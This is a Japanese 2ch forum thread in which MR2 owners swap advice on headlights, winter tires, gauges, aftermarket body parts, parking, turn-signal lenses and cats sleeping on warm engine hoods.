AWTOYOTA MR2 21台目SW
1:名無しさん＠そうだドライブへ行こう
前スレ 【AW】TOYOTA MR2 20台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1125411306/ -------------------------------------------------------------------------- 機種依存文字は控えましょう ○ 1，2型と3型以降はテールランプが違う / 俺の2型NAはリッター9kmしかでない… × Ⅰ，Ⅱ型とⅢ型以降はテールランプが違う / 俺の②型NAは1㍑で9㌔しかでない… ※ どうしてもローマ数字を使いたいときは、アルファベットの"I"を使うとよろし。 例) II型、III型 -------------------------------------------------------------------------- ■過去スレとか 前スレ 【AW】TOYOTA MR2 20台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1125411306/ >>2-10ぐらい ■関連 【紅葉の中を】MR-S本スレpart29【オープンドライブ】 http://hobby7.2ch.net/test/read.cgi/auto/1127574649/ MR2ちゃんねる http://mr2.jp/
2:名無しさん＠そうだドライブへ行こう
過去スレ(Gr.A) MR２ http://natto.2ch.net/car/kako/973/973179220.html MR2その２ http://natto.2ch.net/car/kako/981/981304014.html MR2その３ http://natto.2ch.net/car/kako/991/991219052.html MR2その4 http://natto.2ch.net/car/kako/998/998238663.html MR2その5 http://natto.2ch.net/car/kako/1003/10034/1003405040.html MR2その6 http://natto.2ch.net/car/kako/1009/10095/1009536457.html ＭＲ２ その７ http://caramel.2ch.net/car/kako/1012/10129/1012992718.html 【ＡＷ】ＭＲ２ その８【ＳＷ】 http://caramel.2ch.net/car/kako/1017/10171/1017118908.html ＭＲ２スレッド～その9 http://corn.2ch.net/car/kako/1021/10210/1021071965.html MR2 10台目 http://corn.2ch.net/car/kako/1022/10220/1022073910.html
3:名無しさん＠そうだドライブへ行こう
過去スレ(Gr.B) ●●● TOYOTA MR2 ●●● http://ex.2ch.net/auto/kako/1029/10296/1029605628.html ●●● TOYOTA MR2 ２型 ●●● http://hobby2.2ch.net/auto/kako/1036/10360/1036076375.html ●●● TOYOTA MR2 3型 ●●● http://hobby2.2ch.net/auto/kako/1039/10398/1039865862.html ●●●【地上の】TOYOTA MR2 4型【楽園？】●●● http://hobby2.2ch.net/test/read.cgi/auto/1044860780/ MR2 Midship Runabout 2seater 5型 http://hobby2.2ch.net/test/read.cgi/auto/1050143880/ ●●●【AW】TOYOTA MR2 6台目【SW】●●● http://hobby2.2ch.net/test/read.cgi/auto/1055434710/ ●●●【AW】TOYOTA MR2 7台目【SW】●●● http://hobby4.2ch.net/test/read.cgi/auto/1058640085/ ●●●【AW】TOYOTA MR2 8台目【SW】●●● http://hobby4.2ch.net/test/read.cgi/auto/1063036957/ ●●●【AW】TOYOTA MR2 9台目【SW】●●● http://hobby4.2ch.net/test/read.cgi/auto/1068502361/ ●●●【AW】TOYOTA MR2 10台目【SW】●●● http://hobby4.2ch.net/test/read.cgi/auto/1074602172/
4:名無しさん＠そうだドライブへ行こう
【AW】TOYOTA MR2 11台目【SW】 http://hobby6.2ch.net/test/read.cgi/auto/1082156990/ 【AW】TOYOTA MR2 12台目【SW】 http://hobby6.2ch.net/test/read.cgi/auto/1091278083/ 【AW】TOYOTA MR2 13台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1097498464/ 【AW】TOYOTA MR2 14台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1103012190/ 【AW】TOYOTA MR2 15台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1106903791/ 【AW】TOYOTA MR2 16台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1111068883/ 【AW】TOYOTA MR2 17台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1116140450/ 【AW】TOYOTA MR2 18台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1118890046/ 【AW】TOYOTA MR2 19台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1121955316/ 【AW】TOYOTA MR2 20台目【SW】 http://hobby7.2ch.net/test/read.cgi/auto/1125411306/
5:1
初めてスレ立ててみた。気持ちいい！
6:名無しさん＠そうだドライブへ行こう
乙！
7:名無しさん＠そうだドライブへ行こう
>>1 乙!無事1000まで完走したときはもっと気持ちいいぞ。 前スレ埋めた人、次スレ立ててからに汁
8:名無しさん＠そうだドライブへ行こう
>>1さん登場って感じですな。 今までのは「お前が立てるなアホ！」ってのばかりで正直 イヤだったけど。お疲れ様。
9:前スレの1
……
10:名無しさん＠そうだドライブへ行こう
>>9 (・∀・)イキロ
11:名無しさん＠そうだドライブへ行こう
...
12:名無しさん＠そうだドライブへ行こう
新スレだしとりあえずネタフリしよか もう随分と日が暮れるのも早いですが、みなさんライトの暗さはどうしてもすか？ マルチリフレクタ？ HID？ 高効率？ バッ直？
13:名無しさん＠そうだドライブへ行こう
俺もライト変えたいと思ってるが自分でできるもんなのか？
14:名無しさん＠そうだドライブへ行こう
やる気があればなんでもできるさ。
15:名無しさん＠そうだドライブへ行こう
金もかかる。考えて行動しろよ
16:名無しさん＠そうだドライブへ行こう
>>12 バッ直！？ 無知な俺にどぉいうことか教えてくれ
17:名無しさん＠そうだドライブへ行こう
>>12 純正リフレクタ＋HID または MR＋クリア色バルブ（純正お奨め） でFAだと思われる。 ソース：http://mr2.jp/cgi-bin/BBS/readres.cgi?bo=MR2&vi=1000082099
18:名無しさん＠そうだドライブへ行こう
>>13 ヘッドライトレンズ交換は容易。プラスドライバーだけで可能。 ただし光軸調整が必須。
19:名無しさん＠そうだドライブへ行こう
>>12 バッ直（BOSCHハーネス）＆高効率（レークリ）＆MR（RAYBRIG） で特に不満ありまへん
20:名無しさん＠そうだドライブへ行こう
マルチリフレクタ+HIDです。 かなり明るいので満足してます。 両方中古で揃えたので5万ちょいで出来ました。 アスクの固定付けてる人いたら感想聞かせて下さい
21:名無しさん＠そうだドライブへ行こう
その前に・・・ 何でdat落ちしたんですか？ 法則がよく分からんですよ。
22:名無しさん＠そうだドライブへ行こう
ごめん、解決。 うちのが壊れてたわ。 すまんね。
23:名無しさん＠そうだドライブへ行こう
みんな、油温ってどこの温度を取ってる？ やはりフィルターにゲタ履かせて取った方が良いのかなあ・・・。 ドレンだとえらく低い温度しか出ないんで。（水温92℃時55℃ 町乗り30分＋α）
24:名無しさん＠そうだドライブへ行こう
油温ってそんなに気になるかな～？
25:名無しさん＠そうだドライブへ行こう
油温の前に水温が根を上げるからほとんど見ない
26:名無しさん＠そうだドライブへ行こう
だんだんと寒くなってきており，，冬はすぐそこです。 少し早いかも知れませんが，スタッドレスタイヤについての質問があります。 皆さんはスタッドレスタイヤで，どのサイズのタイヤをはいていますか？ 純正のサイズは無いみたいなので・・・でも，太くすると結構なお値段しますよね。
27:名無しさん＠そうだドライブへ行こう
>>26 普通に積雪のある地域？それならタイヤ太いよりは細い方がずっとマシだよ。 太いタイヤなんてソリと一緒さ。
28:名無しさん＠そうだドライブへ行こう
>>27 中越地方なので，普通に降ります。 195とか185でも大丈夫ですか？
29:名無しさん＠そうだドライブへ行こう
WRCでも雪道ならばとても細いタイヤだね。 接面圧は面積が少ない程掛かる面圧高いから。 ただ、ホイールが中々見つからないでしょうね。
30:名無しさん＠そうだドライブへ行こう
北海道在住の漏れが来ましたよ！ 195/55/15で前後同サイズ。 純正ホイールに履かせてます。 夏は17インチ履いてるからスタッドレスに換えると 馴れるまでぐにゃぐにゃで大変でつ。
31:名無しさん＠そうだドライブへ行こう
スタッドレスは、純正サイズワンダウンくらいがいいと思う。 ＳＷでリア１９５にしたら新雪を軽く圧雪された状態で潜ってダメだった（ｗ
32:名無しさん＠そうだドライブへ行こう
>>29 ラリースノータイヤはスパイクを突き刺してグリップさせる。 スタッドレスは氷表面の水を排除してエッジでグリップさせる。 雪タイヤだから幅が狭いほうがいいとは限らない。
33:名無しさん＠そうだドライブへ行こう
ラリーカーみたいにスパイクタイヤをパンパンにして使うんだったら細い方がいいけど、普通の スタッドレスだったら太い方がいいと思う。
34:名無しさん＠そうだドライブへ行こう
スタッドレスもそんなに太いの無いよ。
35:名無しさん＠そうだドライブへ行こう
雪の上を毎年毎年数ヶ月走らなきゃいけない地域に 住んでる奴の意見としては>>28 そのサイズで大丈夫。そもそもどんなサイズのタイヤにして も、新雪かつ深雪では走れないから。フロント周りが壊れる もん。適度に除雪されてたり、適度に圧縮されてないとどうせ 走れやしない。 タイヤに気を付けるよりも、自分が住んでいる地域で、冬は どの道路なら快適に走れるのか、その経路について事前に 先輩方に聞いておくべき。除雪される時刻などもまちまち だから、その辺りは会社や学校の先輩にでも聞いてMR2でも 通れそうな道を決めておけば生活に困らない。
36:名無しさん＠見た瞬間に即決した
北海道在住の漏れが来ましたよ！２人目 男ならば太くて「まぁ、たくましい・・・(ハァト」と言われたいので、リアに２４５サイズ の１７はいてまふ。 今までに太いほうが、たくま・・・じゃなくてグリップがいいハズと考えて２２５の１６や ２５５の１７など、試してきましたがＳＷの場合は車の構造上 あまりかわりはありません でした。 が、リアが太い方が挙動がつかみやすいし、安定はしてます。 ・・・ところで >>26 さんはＡＷ？ ＳＷ？ ww
37:名無しさん＠見た瞬間に即決した
３６だけど、↑は当然スタッドレスの話ね。夏タイヤの話じゃないんで 「流れ嫁！」とか言わないでちょ。
38:名無しさん＠そうだドライブへ行こう
askはやめとけ
39:名無しさん＠そうだドライブへ行こう
>>38 askってダメなん？カーボンボンネット狙ってるんだが。
40:名無しさん＠そうだドライブへ行こう
俺もワイドボデーにしたいんだが… TRDは高杉
41:26
皆様，どうもありがとうございます。 SWの4型GTに乗っております。 その地域に長く住んでいる先輩方に話を聞くのは重要ですね。自動車乗ってる先輩は身近にたくさん居るのでいろいろ聞いてみますね。 やや細いタイヤをはいて，冬はおとなしく走りたいと思います。 雪道でMR2的に気をつけた方がよい事というのはありますか？ 以前乗っていたFR車で夏タイヤで雪道を直進中ターボが聞いた瞬間面白いことになりましたが・・・。
42:名無しさん＠そうだドライブへ行こう
>>41 雪道をノーマルタイヤで走行するのが犯罪的行為です。 他者を巻き込んだ事故を起こすと大変不利になります。 気を付けるのは他の4輪車と概ね同じです。「急」がつく 操作を避けることや、車間距離を十分に取ることなど。 MR2特有のものとしては、いくら勝手に融けるとは言え エンジンフードの雪は落とそうよ、後ろがしばらく見えない でしょ、とか。新雪に突っ込むとウソっと思うほどの量の 雪がフロントバンパーからボンネットを上り、ワイパー では対処不能なレベルでフロントガラスを覆い尽くして 視界0になるなど。これらも、他の車で気を付けるところ 気を付けていれば遭遇することないようなケースですが。
43:名無しさん＠そうだドライブへ行こう
雪かぁ… またアンダーカバーやらリップやらが破壊されるのかぁ～orz
44:名無しさん＠そうだドライブへ行こう
車高の低いエアロ付きの車は除雪車乙、になるね。 道を選べば酷くないけれど、わだちの中央の山の部分だけ雪が酷くて 泣きたくなった事はある。
45:名無しさん＠そうだドライブへ行こう
askのカーボンボンネット、ワイドボディ両方見たけど やめたほうがいいよ・・・ どちらも値段が安いのでそれなりの・・・といった感想です。 あの見た目が好きなんだ！とか安ければなんでもいい！ 等高品質を求めないのであればいいかもしれません。
46:39
>>45 なるほど、サンクスです。 うーーーむ。
47:39
あう すまんです、ageてもた orz
48:26
>>44 除雪車・・・。バンパーが破壊されるのは避けたいですね。 車高を上げておきますw。
49:名無しさん＠そうだドライブへ行こう
今更かもしれないけど、映画「ワイルド・レーサー」って黄色の ＳＷが登場するんだね。 http://www.amazon.co.jp/exec/obidos/ASIN/B0002YD69G/qid%3D1130518535/249-9180853-3361959
50:名無しさん＠そうだドライブへ行こう
主人公が黄色のSWで並みいるスパカをぶち抜きまくる映画なら買ってもいい。 ・・・・むりぽorz
51:名無しさん＠そうだドライブへ行こう
>>45 だから何がどう良くないのかを言わないと、工作員乙で終わりだぞ。 あそこの社長はずっと競技やってきて自分で欲しいパーツを作ってる から、そう粗悪な物は無いと思うけど。 まあ、確かに高級品志向の人には合わないかもしれないな。
52:名無しさん＠そうだドライブへ行こう
スタッドレスの話題に便乗させてもらいます。 今日行った某量販店で、前後１７５／６０／１５をひたすら薦められました。 ロードインデックス的には問題ないですよとかそういう問題でもないよう気も・・・ 安いには安いんですが・・・ １８５、１９５は平気そうな感じがするのですが、１７５とか平気なんでしょうか？ むしろ、ＳＷで１７５付けてる方いますか？ 当方、群馬在住で、降るようで降らない降らないようで降る気候でし
53:名無しさん＠そうだドライブへ行こう
モンテカルロとかの雪上イベント用のラリーカーはタイヤ細いよね と無責任発言してみる。
54:名無しさん＠そうだドライブへ行こう
スタッドレスタイヤは タイヤにかかる圧力＝効きだから でも175は初耳です
55:名無しさん＠そうだドライブへ行こう
>>53 無責任以前に少し前のレスくらい読んどけ
56:名無しさん＠そうだドライブへ行こう
>>52 ラリータイヤの例ですまんが185ってのはあったけど、175ねぇ....... ただ、店の言い分の175/60ってのは、195/55に比べてロードインデックスが 低くなるんじゃないかな？
57:52
>>56 低いです。175/60R15 81Qなんで荷重能力は462 純正サイズは 195/55R15 84で荷重能力は500 225/50R15 91で同じく615 重量配分考えても数字的にはクリアしてる？リアがぎりぎりだけど っていうか合ってますかこの計算・・・・ 人柱になれってことかなｗ
58:名無しさん＠そうだドライブへ行こう
askのFRPドアにしてるけど外装は中々良いよ。 但しごにょごにょ・・・。 ガラス落ちるから。 厚塗りなど対策すればOK。 側面衝突でさよなら出来るから身辺整理やっとこうね。
59:名無しさん＠そうだドライブへ行こう
askのエンジンフード使ってるよ。 FRPは若干薄めだけど、仕上がりは悪くないですよ。 ただちょっと高いかな・・・大量生産してる訳じゃないから 仕方ないんだろけど、もうちっと安いと助かる。
60:名無しさん＠そうだドライブへ行こう
askのボンネットがどうやってダクトから空気抜いてるのか誰か分かりますか？
61:名無しさん＠そうだドライブへ行こう
日々寒くなる今日この頃・・・ 徹夜明けで帰宅した我が愛車のエンジンフードにいそいそとのる猫たんたち。。。 平たくて寝やすいんだよねぇ～ 左側の方が暖かいもんねぇ～ っと、ちょっと和んだ瞬間でした。
62:名無しさん＠そうだドライブへ行こう
>>61 その猫には注意！ 多分、MR2は大丈夫だと思うが、エンジン部分が暖かいので、 エンジンルームに入ってしまって、飼い主が知らずにエンジンをかけて・・・・ ((((;゜Д゜)))ガクガクブルブルなことになることあるらしい・・・ 子猫特に注意！！
63:名無しさん＠そうだドライブへ行こう
ふぅー
64:名無しさん＠そうだドライブへ行こう
>>62 マジでつか！？
65:名無しさん＠そうだドライブへ行こう
>>64 マジみたいです。 たまにそういう車の清掃の依頼が来るって知り合いの自動車修理工に聞かされました。
66:名無しさん＠そうだドライブへ行こう
>>60 ラジエター上の樹脂カバーを外すとそこからダクトに抜ける 様になってるらしい。
67:名無しさん＠そうだドライブへ行こう
>>62 ふっか～っつ 大型車や昔のセダン等で聞いた話ですよね。 注意してます！ って言っても私のSW20はノーマルなので入れないでしょう。 ・・・タブンｗ これから仕事です。 日向ぼっこしてる猫たんらをエンジンフードから下ろすのがちとかわいそう・・・ でわ！
68:名無しさん＠そうだドライブへ行こう
SWの2型NAに水温計を付けようと考えているんですが、 水温センサーがインパネの水温計用とECU用が付いていて インパネ水温計用のセンサはECUに関係無いから 取ってそこに社外センサを付けても大丈夫みたいなことを 以前どこかで目にしたんですが エキマニ横・スロットル下方あたりの部分に ねじ込まれていて赤白の2本線が出ているのがそれなんでしょうか
69:名無しさん＠そうだドライブへ行こう
>>67 子猫なら入れるよ。 漏れのにも一時期住み着いてた。 そのときはエンジンかける前はフードバンバン叩くのが習慣になってた。 中にいてたらサイドインテークから飛び出してくるｗ
70:名無しさん＠そうだドライブへ行こう
>>68 それってノックセンサーでは？
71:名無しさん＠そうだドライブへ行こう
>>65 その修理、やった事あるよ。 キャラバンのエンジン始動時に中から一瞬猫の声がしたそうだ。 エンジンカバーを開けると… （以下自主規制） ファンベルトが外れたので付け直し、エンジンルーム清掃、 異物取り除き（自粛）。 依頼客には「見ないほうが幸せです」と言っておいた。
72:名無しさん＠そうだドライブへ行こう
異物の取り除きってどうやるのよ(((（;゜Д゜）)))ガクガクブルブル それにしてもこの車のエンジンルーム汚れやすいよね どうすれば小ぎれいになるのやら…(´・ω・`)
73:名無しさん＠そうだドライブへ行こう
>>72 エンジンフードからエア抜いてるから宿命かと。 定期的に拭いてあげるしかないかも。 まあ、点検兼ねてやってあげよう。
74:名無しさん＠そうだドライブへ行こう
今日、ＭＲ２の３型Ｇリミテッド契約してきました。 今まではセリカＧＴ－ＦＯＵＲに乗っていましたが、 ４年間乗ってきたセリカとの思い出がブワーっと流れて チョット泣きそうです。 ＣＤも壊れかけ、ダッシュボードは穴があり、エアロも割れて。 人から見ればボロかもしれないけど僕の中では間違いなく愛車でした。 これからは、セリカ以上にＭＲ２を愛してやろう。 ターボ→ＮＡだけど。 セリカ、今まで㌧クス。これからよろしく！ＭＲ２！
75:名無しさん＠そうだドライブへ行こう
ＭＲ２海苔にお勧めのシャンプー＆ワックスだす。 ↓１１年以上前の中古車が新車に生まれ変わりますた。 http://www.geocities.jp/syori59/tuyaou.html
76:名無しさん＠そうだドライブへ行こう
艶は見たところなかなかだけど、問題は耐久性だなあ。どうなんだろ。
77:名無しさん＠そうだドライブへ行こう
よし、漏れのAWにも艶を・・・ 白/銀のツートンなんだが、白だけでも塗りなおししたいな と考えてる今日この頃
78:名無しさん＠そうだドライブへ行こう
もしや！！ 225-50/15 ってもう買えないの？ っていうか RE-01R もNEOVAAD07 インチアップしろってか？
79:名無しさん＠そうだドライブへ行こう
はじめまして！ 夏にぶつけて修理に出してたAWが帰って来て興奮して眠れません。 この喜びを誰かに伝えたかったので書いてみます。 帰って来てくれて嬉しいよ～ん！ さて、寝ます。おやすみなさい
80:名無しさん＠そうだドライブへ行こう
>>75 ホントにそれ位になるのなら、今度買ってみようかな
81:名無しさん＠そうだドライブへ行こう
またAW乗りたいなー。 あの突然スピンモードに入る動きが、なんともいえんなー。 ケツが出る前に、カウンター当てるってどーやんの？
82:名無しさん＠そうだドライブへ行こう
乗りこんで感覚で覚えるしかないでしょう…
83:名無しさん＠そうだドライブへ行こう
>>81 ケツが出るとあなたが感じる前に、実はもうケツは出てるって ことです。この辺はジムカーナでしつこいくらい練習してると 半年ほどでわかると思いますよ。この感覚こそがフロントエンジン ではないクルマの特徴のひとつなのです。MR2を上手に運転する 人と苦労してる人の違いはほぼここにしかないとも言えます。 よって「ケツが出る前にカウンターを予測で」という行為では ないと言っておきます。一般的な感触では「まだケツ出てない」 である領域が「ケツが出てきた」とわかるようになるまでがんば。
84:名無しさん＠そうだドライブへ行こう
ある程度スピード出すしブレーキで前輪に荷重かける ステアを切り込み頭の方が内に入ったら更にちょんとブレーキ そこですかさずアクセル(全開は禁物スピンします) これで尻でますんでそこからアクセルの具合でコーナーのＲにあわせる この時カウンターステアは非常事態いりません あくまでステアはタイヤが真っすぐになる位置で！
85:名無しさん＠そうだドライブへ行こう
非常事態いりません→非常事態以外いりません ちなみにＳＷターボ
86:名無しさん＠そうだドライブへ行こう
回頭性が良いとケツが出てる様に感じるんか？ ケツが出ないのにケツは出んよ。ケツが出た時にケツが出る。
87:名無しさん＠そうだドライブへ行こう
みんな、生き残った者が勝利者なんだからね。 死んだらそこで終わりだから肝に銘じてね。
88:名無しさん＠そうだドライブへ行こう
今見たらIDもSw
89:名無しさん＠そうだドライブへ行こう
>>81 フルバケ入れろ、10Kmぐらいで尻がいたくなりそうな薄い奴 ビックリするぐらい車の動きがわかるから
90:68
一応自分で調べてみたんですが 赤白の線はノックセンサでした その上の黒ソケットのは油圧センサでした ていうか水温センサどこおおぉぉぉぅ
91:68
てゆかここから油圧が取れるならセンサ取り出し用のオイルブロックとかいらないのかも やっぱみんな水温取り出しはあのいちばん太い配管にジョイントはさんでやってんのかな
92:名無しさん＠そうだドライブへ行こう
>>91 俺の場合、水温はＥＣＵから取りました。情け容赦なしｗ
93:名無しさん＠そうだドライブへ行こう
>>69 ありゃりゃ。。。 これからはエンジンフードにノックせねば・・・ 家族連れできてるからなぁ～ エンジン音聞いただけでよってくるｗ
94:名無しさん＠そうだドライブへ行こう
うちの駐車場の俺のスペース。帰ってくるとほぼかならず黒猫がいて、 こっちをジ─────────と見ている。 かまわずバックさせると立ち退くが。 どうやらこの駐車場を縄張りにしているらしく、こないだは俺が車の中に いるのに、近所のブチ猫とガンの飛ばしあい。 至近距離で見ると、猫のケンカってすげーのな。 結論：ＭＲ２は猫に好かれる(違う
95:名無しさん＠そうだドライブへ行こう
>>90 ラジエーターから帰ってくる側（運転席側）にコネクター無い？ コード一本しか出てないのがそうだよ。
96:名無しさん＠そうだドライブへ行こう
3Sって町乗りだと油温低いの？ 60～70℃位しか上がんない（NAね） 猫大好きフリスキ～。
97:名無しさん＠そうだドライブへ行こう
>>94 見事な勘違いっぷりにワロタｗ
98:名無しさん＠そうだドライブへ行こう
AW/SWのエンジンフードは水平なのでこれからの季節(特に駐車直後）は 猫に好かれます・・・
99:名無しさん＠そうだドライブへ行こう
確かにこの季節に猫に好かれるな。 他の車だとボンネットから落ちないように踏ん張らないといけないのが、AW/SWだとのびのび～だからな。 それを見てニタニタする俺ｗ
100:名無しさん＠そうだドライブへ行こう
100
101:名無しさん＠そうだドライブへ行こう
ぶつけた覚えはないのだが、今日下回りみてたらフロントクロスメンバーの溶接が剥がれてました… クロスメンバーってめちゃくちゃ薄い鉄板ですが、ボディー剛性さがりますかね？
102:名無しさん＠そうだドライブへ行こう
>>101 乗ってて気が付かない程度なら良いんじゃない？
103:名無しさん＠そうだドライブへ行こう
ＭＲ２の以外な利点を発見！・・・・・・・・・・・・ってか？
104:名無しさん＠そうだドライブへ行こう
昔借りてた駐車場は猫の溜まり場で、 エンジンの熱が残るフードの上で丸くなって寝てました。 リアのピラー（？）がちょうど風除けにもなりますしね。
105:名無しさん＠そうだドライブへ行こう
ＳＷって乗ったことないんですが、バックでの駐車って 他の車に比べ難しいんでしょうか？ ＳＷは欲しいんですが、軽四しか乗ったことがないもので・・・ 軽四は駐車、楽すぎなんで、ＳＷ乗ったときにちょっと心配です。
106:名無しさん＠そうだドライブへ行こう
>>105 すんごい楽。
107:名無しさん＠そうだドライブへ行こう
>>106リアを中心に回るからか・・・
108:名無しさん＠そうだドライブへ行こう
>>105 バック駐車よりも前向き駐車の方が難しいぞ。 タイヤ止めにチンスポがぶつからないかとヒヤヒヤする。
109:名無しさん＠そうだドライブへ行こう
>>107 お前アタマの中も回ってるやろw
110:名無しさん＠そうだドライブへ行こう
>>105 このテの車としては後方視界はかなり良好です。 ハンドル切れ角があるし全長も大して長くない。 どうしても前の見切りができなければヘッドライトを出せば…
111:名無しさん＠そうだドライブへ行こう
どの車でもそうだけど、ミラーの死角は車種それぞれだから家族にでも協力してもらって 立ち位置変えて死角を確かめればどの車でも乗れますよ。 お世辞でも後方視界のいい車じゃないので、この点だけは注意ね。 105氏が手に入れる事を・・・。
112:名無しさん＠そうだドライブへ行こう
そんなあなたに自動後退などで売っている ドアミラーの角に両面テープでつける小型丸型ミラー がお奨めです。 かっこよくは無いけどぶつけるよりマシかと
113:名無しさん＠そうだドライブに行こう
>112 それ、役にたつ？ 自分が以前付けてみた時は、鏡面が小さすぎる上 に凸面鏡でさらに鏡像が小さくなって、何が映っているやらさっぱり・・・。 確認しようと凝視すると、他への注意がおろそかになってかえって 危ないし。 つーことで、自分的には「役に立ちそうで使えない道具」の カテゴリーに入ってます。
114:名無しさん＠そうだドライブへ行こう
>>113 前進時はまず見ません。 3ナンバーで車高低いんで後退時のリアタイヤ付近及び 狭い道で曲がるときのサイドシル付近の確認に使っています。 歩道にギリギリ寄せるときとか非常にありがたく使っています ぶっちゃけ純正の幅、ミラー位置なら私は必要ありません。
115:名無しさん＠そうだドライブへ行こう
>>114 ＭＲ２は５ナンバー
116:名無しさん＠そうだドライブへ行こう
>>112 それ付けてますよ。 フルバケにしたら視界が低くなったので真下を見るために重宝してますよ。 確かバックに入れるとミラーが下を向くパーツがあったと思ったけど、数百円で同じ効果を得られるので。 MR2（SW20)って5ナンバー・2リッター車では一番最小半径が小さいと思った。
117:名無しさん＠そうだドライブへ行こう
もちろんオレのAWは5ナンバーだよ？
118:名無しさん＠そうだドライブへ行こう
>>115 複数台所有してるからね
119:名無しさん＠そうだドライブへ行こう
皆さん、猫対策ってなにかしてるんでしょうか？ うちのＳＷは白なので猫がのっかると足跡が ぺたぺた付いて目立つんですが…
120:名無しさん＠そうだドライブへ行こう
>>116 シルビアとか180SXの方が最小回転半径が小さいわけだが。
121:名無しさん＠そうだドライブへ行こう
>>114 3ナンバーで車高低いんで 3ナンバーで車高低いんで 3ナンバーで車高低いんで オレのAWは5ナンバーだよ？ 複数台所有してるからね イタイ、、、
122:104
>>119 私は猫好きなのでむしろ乗っていて欲しいです
123:名無しさん＠そうだドライブへ行こう
>>120 4穴ホイール車は入れてはいけないよ。 MR2も1型のタイヤサイズは正気の沙汰じゃないからね。 ともかく、小回りが効くのは有難いね。
124:名無しさん＠そうだドライブへ行こう
S14、S15は16インチ5穴だよ？ 180SXも15インチ5穴じゃないかな。
125:名無しさん＠そうだドライブへ行こう
>>124 残念ですが(？)S14のQ'sと180SXは４穴です。
126:名無しさん＠そうだドライブへ行こう
>>120 最小回転半径について ＳＷも１８０もシルビアも所有歴のある俺がきましたよ １８０はロングノーズなのでＳＷより描く円がでかい気もするがカタログデータによると ＳＷ（五型） ４．９ｍ １８０（後期） ４．７ｍ Ｓ１５ ４．９ｍだたーよ
127:126
ちなみにその他のクルマでは ＭＲ－Ｓ ５．０ｍ Ｚ３２（５．４ｍ～５．６ｍ） ランエボ９なら５．９ｍだった 逆にちっちゃいのはコペンでも４.６ｍだって
128:名無しさん＠そうだドライブへ行こう
みなさんに質問があります。 SW20の３型に乗ってますが、ポジションランプのレンズ（オレンジ色）を４型のクリアーのレンズに交換って加工なしで出来るのでしょうか？
129:名無しさん＠そうだドライブへ行こう
おいおい 後輪駆動なんだから最小回転半径は ０ メ ー ト ル だ ろ う
130:名無しさん＠そうだドライブへ行こう
中古車雑誌、サイトを見ると、なんちゃって4型が多いな。
131:名無しさん＠そうだドライブへ行こう
>>128 ハーネス交換すればＯＫ。 そうでない場合はソケットに若干要加工。 ＃アンバー球のピンの配置が違うため
132:名無しさん＠そうだドライブへ行こう
>>129 車の全長より小さくはならないだろうｗ
133:名無しさん＠そうだドライブへ行こう
>>132 イチイチ反応すんなよ。
134:名無しさん＠そうだドライブへ行こう
>>132-133 なんだ。 その場ターンできないのか。 つまらん奴らだ。
135:名無しさん＠そうだドライブへ行こう
ＴＲＤのサスキットforサーキットのバネのサイズってわかる人いない？ 取説なくした・・・サイトにも載ってない orz バネ、ｓｗｉｆｔに換えたいのよねぇ
136:名無しさん＠そうだドライブへ行こう
>>135 AWかSWか あ、書くまでもないか。
137:名無しさん＠そうだドライブへ行こう
スマソ ＳＷっす。
138:名無しさん＠そうだドライブへ行こう
～参型をウィンカーを取っ払い伍型仕様にすると車検に通らないそうですね。 結局ポジションをクリアにしてもウィンカーを変えれないなら そのままの方がかっこいいと個人的に思います。
139:名無しさん＠そうだドライブへ行こう
>>138 完全に車検に通らないわけでもない。実際通ってる車もある。結局グレーゾーン。 フロントフェンダーを交換or加工して、四型以降と似た位置にウインカーを移設 すれば100%問題なし。 ＃厳密には「360度どこから見てもウインカーの点灯が見える」のが車検合格条件。 ついでに言えば、参型以前でもウインカーを塗ってしまうという手もある。白黒 限定だが。 黒ならスモーク、白なら特殊塗料(消灯時は白、点灯時は透けて見えるやつがある)
140:名無しさん＠そうだドライブへ行こう
MR2ってスピンターンノブ化できないんでしょか？ 中のバネとってみてもノブが戻ってきちゃうんですが…
141:名無しさん＠そうだドライブへ行こう
>>140 その前にノーマルノブでスピンターンするのに不満ある？
142:名無しさん＠そうだドライブへ行こう
>>141 漏れはゼロヨン派だが、スピンターンノブだと スタート楽じゃないかと思ふ。
143:名無しさん＠そうだドライブへ行こう
冬場は手が荒れやすいから純正のちっこいノブだと痛い
144:名無しさん＠そうだドライブへ行こう
>>139 白→透けるの特殊塗料に興味津津…。 ホームセンターで探してきます。
145:名無しさん＠そうだドライブへ行こう
>>135 TRD総合カタログだとForサーキット用オプション直巻スプリングは内径Φ63になってるよ。 ちなみに自由長はフロント用が185.0～252.5、リヤ用が160.0～180.5になってるね。
146:名無しさん＠そうだドライブへ行こう
>>142 ナルホド！俺のカテゴリ外で気付かなかったorz 峠でゼロスタートなんてしないもんで(*ノД｀)
147:名無しさん＠そうだドライブへ行こう
>黒ならスモーク、白なら特殊塗料(消灯時は白、点灯時は透けて見えるやつがある) >白→透けるの特殊塗料に興味津津…。 想像しただけでカコワルイ
148:名無しさん＠そうだドライブへ行こう
>>147 参型以前のウインカーってモッコリしてるもんね。 っつか、んな塗料あんのか？
149:135＆139
>>148 うむ。名前は忘れたけど、自動後退にあったよ。 使用例： ttp://ae100levin.hp.infoseek.co.jp/siyousho_winka.html 現物のページはみつけられなかったorz
150:名無しさん＠そうだドライブへ行こう
>>149 うわっ！造りぞこないのプラモデルみたい！ こいつはマジでこれがかっこいいと思ってるのか？？
151:名無しさん＠そうだドライブへ行こう
今から洗車しる(゜∀゜)
152:名無しさん＠そうだドライブへ行こう
>>150 まー、その辺の感覚は人それぞれだからね・・・ 俺にもこれはどうかと見えるがｗ
153:名無しさん＠そうだドライブへ行こう
>>149 なんか 「このエアロは普通の感性の人なら使わないだろ・・・」 みたいな 感じにしてる人が喜んで使いそうだ・・・。
154:名無しさん＠そうだドライブへ行こう
>>151 明日は雨だよ。
155:名無しさん＠そうだドライブへ行こう
雨の中を走る・・・いいねえ。 たまにリアが滑ってもチョイチョイってね。
156:名無しさん＠そうだドライブへ行こう
最近羽根外したけど明らかに膨らむし落ち着き無くなった 飾りかと思ってたけど結構効いてたんだな
157:名無しさん＠そうだドライブへ行こう
>>156 どの型の羽ですか？
158:名無しさん＠そうだドライブへ行こう
